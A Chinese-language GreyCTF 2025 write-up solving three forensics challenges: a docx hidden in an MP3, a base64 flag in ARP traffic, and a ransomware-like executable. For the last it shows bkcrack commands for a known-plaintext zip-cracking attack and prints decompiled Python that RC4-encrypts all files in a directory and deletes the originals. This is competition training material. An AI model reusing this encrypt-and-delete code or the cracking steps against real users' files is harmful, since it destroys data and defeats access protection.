Greyctf 2025 writeup
赛事信息
Layer Cake
题目描述:Layer cake is so good. I have an mp3 file all about layer cake. Maybe you can find the flag there?
通过code打开文件头的时候,并不是mp3的文件头,这很正常,看到docx关键字符,便解压这个文件
然后在这个目录下进行压缩zip文件,才能改后缀docx,用word来打开
打开后在这里找了很久,没有找到,思路是调整页面颜色、字体颜色、页眉页脚、作者信息、宏、检查文档等
回到解压出来的文档,搜索大括号,出flag
flag:grey{s0_f3w_lay3r5_w00p5}
Connection Issues
题目描述:One of our employees was browsing the web when he suddenly lost connection! Can you help him figure out why?
打开压缩包,过滤arp协议,找到可疑字符串Z3JleXtk
得到flag特征,那么可确定的我们思路已对,接下来就是提取这段完整base64字符串即可
一个快速不用写代码提取的方式如下,选中该16进制字符串,然后应用为列,这样在上边展示的部分,就可以直接复制导csv,在进行处理,很方便
getflag如下:grey{d1d_1_jus7_ge7_p01son3d}
flag:grey{d1d_1_jus7_ge7_p01son3d}
Notsus.Exe(复现)
题目描述:<Insert Guessy forensics challenge description here>
附件给了一个加密的压缩包,第一想到爆破,未果,然后再用7-zip打开压缩包,发现该算法容易遭受明文攻击,我们在之前的一次ctf比赛的文章中分析过
接下来就是寻找已知明文的过程,yorm不知道什么文件,但是exe应该有很多类似的。我在电脑中随便打开了一个exe,对比了一下16进制,发现前几位是相同的(明文攻击要至少知道12位字节才容易爆破)
明文如下:4d5a90000300000004000000ffff0000
我们将其随便保存为一个文件,比如命名为aaa.txt
然后用命令开始明文攻击.\bkcrack.exe -C .\files.zip -c aaaac.wav -p aaa.txt
破解出密钥d1608c35 d11d350a 4bc3da9c
然后破解压缩包的密码,将压缩包的密码去掉
.\bkcrack.exe -C .\files.zip -k d1608c35 d11d350a 4bc3da9c -D "new.zip"
解压出来后,打开查壳工具发现这个exe文件,是用pyinstaller打包的,所以我们要去除它
在这里PyInstaller Extractor WEB🌐,去除后,找到notsus.pyc
文件,上传到这个网站https://pylingual.io/进行反编译,拿到源码如下
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: notsus.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import os
import sys
from itertools import cycle
def a(b, c):
if len(b) < len(c):
b, c = (c, b)
return bytes((a ^ b for a, b in zip(b, cycle(c))))
def b(a, c):
d = list(range(256))
e = 0
for f in range(256):
e = (e + d[f] + a[f % len(a)]) % 256
d[f], d[e] = (d[e], d[f])
f = e = 0
g = bytearray()
for h in c:
f = (f + 1) % 256
e = (e + d[f]) % 256
d[f], d[e] = (d[e], d[f])
k = d[(d[f] + d[e]) % 256]
g.append(h ^ k)
return bytes(g)
def c(a):
b = []
for c, d, e in os.walk(a):
for f in e:
b.append(os.path.join(c, f))
return b
d = b'HACKED!'
e = os.path.basename(sys.executable)
for f in c('.'):
if e in f:
continue
with open(f, 'rb') as g:
asdf = g.read()
with open(f'{f}.yorm', 'wb') as g:
g.write(b(d, asdf))
os.remove(f)
然后给gpt写一个解密脚本,发现是RC4,那么不用脚本了,直接工具,密钥HACKED!
flag:grey{this_program_cannot_be_run_in_dos_mode_hehe}